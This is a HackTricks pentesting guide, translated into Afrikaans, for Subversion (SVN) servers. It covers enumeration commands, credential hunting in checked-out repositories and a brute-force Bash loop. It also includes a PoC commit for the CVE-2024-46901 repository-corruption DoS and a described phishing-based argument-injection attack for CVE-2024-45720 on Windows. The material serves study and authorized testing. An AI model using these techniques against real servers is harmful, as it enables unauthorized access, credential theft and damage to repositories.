3690/tcp - Pentesting Subversion (SVN) Bediener

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Basiese Inligting

Subversion (SVN) is ’n gesentraliseerde weergawebeheerstelsel (Apache-lisensie) wat gebruik word vir sagteware-weergawebeheer en revisiebeheer.

Standaardpoort: 3690/tcp (svnserve). Dit kan ook via HTTP/HTTPS blootgestel word deur mod_dav_svn en via svn+ssh.

PORT     STATE SERVICE
3690/tcp open  svnserve Subversion
nc -vn 10.10.10.10 3690
svnserve --version           # if shell access is obtained
svn --version                # client version leak via error messages

Enumerasie

# Anonymous / authenticated listing
svn ls svn://10.10.10.203                  # list root
svn ls -R svn://10.10.10.203/repo         # recursive list
svn info svn://10.10.10.203/repo          # repo metadata
svn log svn://10.10.10.203/repo           # commit history
svn checkout svn://10.10.10.203/repo      # checkout repository
svn up -r 2                               # move working copy to revision 2
svn diff -r 1:HEAD svn://10.10.10.203/repo   # view changes

# If served over HTTP(S)
svn ls https://10.10.10.10/svn/repo --username guest --password ''

# Extract revision props (often contain build creds, URLs, tokens)
svn propget --revprop -r HEAD svn:log svn://10.10.10.203/repo

Auth & Misconfig Hunting

  • svnserve.conf mag anon-access = read toelaat (of selfs write). As jy kan lys, probeer checkout om geheime, skripte en CI tokens uit te haal.
  • Repositories berg dikwels build pipelines, deployment keys, en database credentials in versioned config files. Grep die working copy ná checkout: grep -R "password\|secret\|token" -n ..
  • As svn+ssh geaktiveer is, laat gebruikershells dikwels beperkte svnserve-kommando’s toe; probeer ssh user@host svnserve -t met gemanipuleerde subkommando’s om wrappers te omseil.

Bruteforcing credentials (svnserve)

sasl authentication (indien geaktiveer) en eenvoudige wagwoordlêers word slegs deur die transport beskerm; geen lockout standaard nie. ’n Vinnige Bash-lus kan inlogbewyse probeer:

for u in admin dev ci; do
for p in $(cat /tmp/passlist); do
svn ls --username "$u" --password "$p" svn://10.10.10.203/repo 2>/dev/null && echo "[+] $u:$p" && break
done
done

Onlangse kwesbaarhede (praktiese impak)

mod_dav_svn DoS deur kontrolekarakters (CVE-2024-46901)

  • ’n gebruiker met commit rights kan ’n pad skryf wat kontrolekarakters bevat (bv. \x01, \x7f) wat die repository korrupteer, wat latere checkouts/logs laat misluk en moontlik mod_dav_svn workers laat crash.
  • Beïnvloed Subversion ≤ 1.14.4 wanneer dit via HTTP(S) (mod_dav_svn) bedien word. Reggestel in 1.14.5.
  • PoC commit met svnmucc (vereis valid commit creds):
# create payload file
printf 'pwn' > /tmp/payload
# commit a path with a control character in its name
svnmucc -m "DoS" put /tmp/payload $'http://10.10.10.10/svn/repo/trunk/bad\x01path.txt'
  • Na die commit kan normale kliënte crash of weier om op te dateer totdat admins die revisie handmatig verwyder met svnadmin dump/filter/load.

Windows argument injection in svn client (CVE-2024-45720)

  • Op Windows laat die “best-fit” karakterkodering in svn.exe toe vir command-line argument injection wanneer dit spesiaal saamgestelde nie-ASCII paaie/URLs verwerk, wat moontlik tot arbitrêre programuitvoering kan lei.
  • Beïnvloed Subversion ≤ 1.14.3 slegs op Windows; reggestel in 1.14.4. Attack surface: phishing a developer to run svn on an attacker-controlled URL/path.
  • Pentest angle: as jy control oor ’n network share of ZIP het wat aan ’n Windows dev gegee is, noem ’n repo URL of working-copy path wat best-fit bytes bevat wat dekodeer na " & calc.exe & "-styl ingespuite args, en mislei die slagoffer om svn status of soortgelyks op daardie pad uit te voer.

Aantekeninge vir die Exploitation Workflow

  1. Kontroleer toegangsmethode: svn:// (svnserve), http(s)://.../svn/ (mod_dav_svn), of svn+ssh://.
  2. Probeer eerst anonieme lees; daarna spray common creds. As HTTP Basic gebruik word, hergebruik creds wat elders gevind is.
  3. Enumerate hooks: hooks/pre-commit, post-commit-skripte bevat soms plaintext credentials of hostnames.
  4. Leverage svn:externals om bykomende paaie van ander hosts te trek; lys dit met svn propget svn:externals -R . na checkout.
  5. Version leaks: HTTP response headers from mod_dav_svn wys gewoonlik die Subversion & Apache weergawe; vergelyk teen 1.14.5 om kwesbare teikens te identifiseer.
  6. As jy lêerstelseltoegang tot die repo kry, laat svnadmin dump/svnlook author/svnlook dirs-changed offline-analise sonder credentials toe.

References

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks